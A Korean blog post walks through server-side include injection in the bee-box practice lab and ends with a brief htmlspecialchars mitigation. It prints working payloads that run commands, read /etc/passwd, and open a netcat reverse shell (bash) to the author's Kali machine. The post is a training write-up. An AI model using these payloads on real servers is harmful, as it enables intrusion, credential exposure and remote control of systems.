power-girl0-0

SSI Injection ( Sever-Side-Includes Injection ) 본문

웹해킹/Bee-Box

SSI Injection ( Sever-Side-Includes Injection )

power-girl0-0 2020. 9. 17. 19:56
728x90

SSI Injection이란?

HTML 페이지의 전체 코드를 수정하지 않고 공통 모듈 파일로 관리하며 동적인 내용을 추가하기 위해 만들어진 기능

- SSI 지시어를 사용할 경우 : ' .shtml '확장자 파일을 생성한다.

                   사용하지 않을 경우 : SSI지시어를 주석으로 처리한다.

- 페이지에 악의적인 지시어를 주입하는 공격이 가능하다.

ex) 방문자수 세기, 홈페이지의 로고 수정

 

 

1. 해당 사이트는 first name과 last name을 입력하여 전송시 받아온 값과 함께 사용자 PC의 ip주소를      출력해준다. 

이때, ssii.shtml로 바뀐 것을 보아 SSI 지시어를 사용하고 있다는 것을 알 수 있다.

 

2. 취약점을 파악하기 위해 SSI 지시어를 입력란에 넣어서 확인해보겠다.

(1) 현재 시간을 출력하는 지시어를 넣어서 확인하였다.

명령어 : <!--#echo var="DATE_LOCAL"-->

(2) 그렇다면 명령어도 실행이 되는지 확인하기 위해 cmd속성에 ls명령어를 입력하여 전송해보았다.

명령어 : <!--#exec cmd="ls" -->

(3) 사용자 계정 정보가 있는 passwd파일을 출력해보았다.

명령어 : <!--#exec cmd="cat /etc/passwd" -->

3. 넷캣을 이용하여 악의적인 스크립트 파일을 서버에 추가할 수 있는지 확인해보았다.

* 넷캣에 대한 글은 이전 글인 OS command injection에 설명되어있다.

2020/09/17 - [웹해킹/Bee-Box] - OS 커맨드 인젝션 ( OS Command Injection )

 

OS 커맨드 인젝션 ( OS Command Injection )

OS 커맨드 인젝션 ( OS Command Injection )란? 취약한 변수로 시스템 명령어를 주입하여 서버 운영체제에 접근하는 공격이다. 1. 해당 페이지는 nslookup 명령어를 사용하여 DNS 주소를 출력해주는 페이지�

power-girl0-0.tistory.com

(1) nc -l -p 명령어를 사용하여 8888번 포트를 listen모드로 열어주고 넷캣을 실행한다.

(2) Bee-box와 kali를 넷캣을 이용하여 연결한다.

- 명령어 : <!--#exec cmd="nc 172.30.1.34 8888 -e /bin/bash" -->

(3) 넷캣으로 연결될 때까지 페이지는 로딩상태가 되고 이때, Kali로 돌아가면 비박스인 서버정보를 확인할 수 있다.

이처럼 넷캣을 실행하여 비박스의 bash 셸을 사용할 수 있다.

이를 이용해서 악의적인 스크립트 파일을 서버에 추가할 수 있다는 취약점을 가지고 있다.

 

대응방안

htmlspecialchars함수로 우회한다.

htmlspecialchars()는 두번째 인자에 'ENT_QUOTES'를 추가하여 크로스 사이트스크립팅에 사용하는 특수문자를 HTML 엔티티 코드로 변환한다. ( &, ", ', <, > )

 

728x90

'웹해킹 > Bee-Box' 카테고리의 다른 글

SQL 인젝션(POST/Search)  (0) 2020.12.15
SQL 인젝션(GET/Search)  (0) 2020.12.15
PHP 코드 인젝션 ( PHP Code Injection )  (0) 2020.09.17
OS 커맨드 인젝션 ( OS Command Injection )  (0) 2020.09.17
iFrame Injection  (0) 2020.09.16
Comments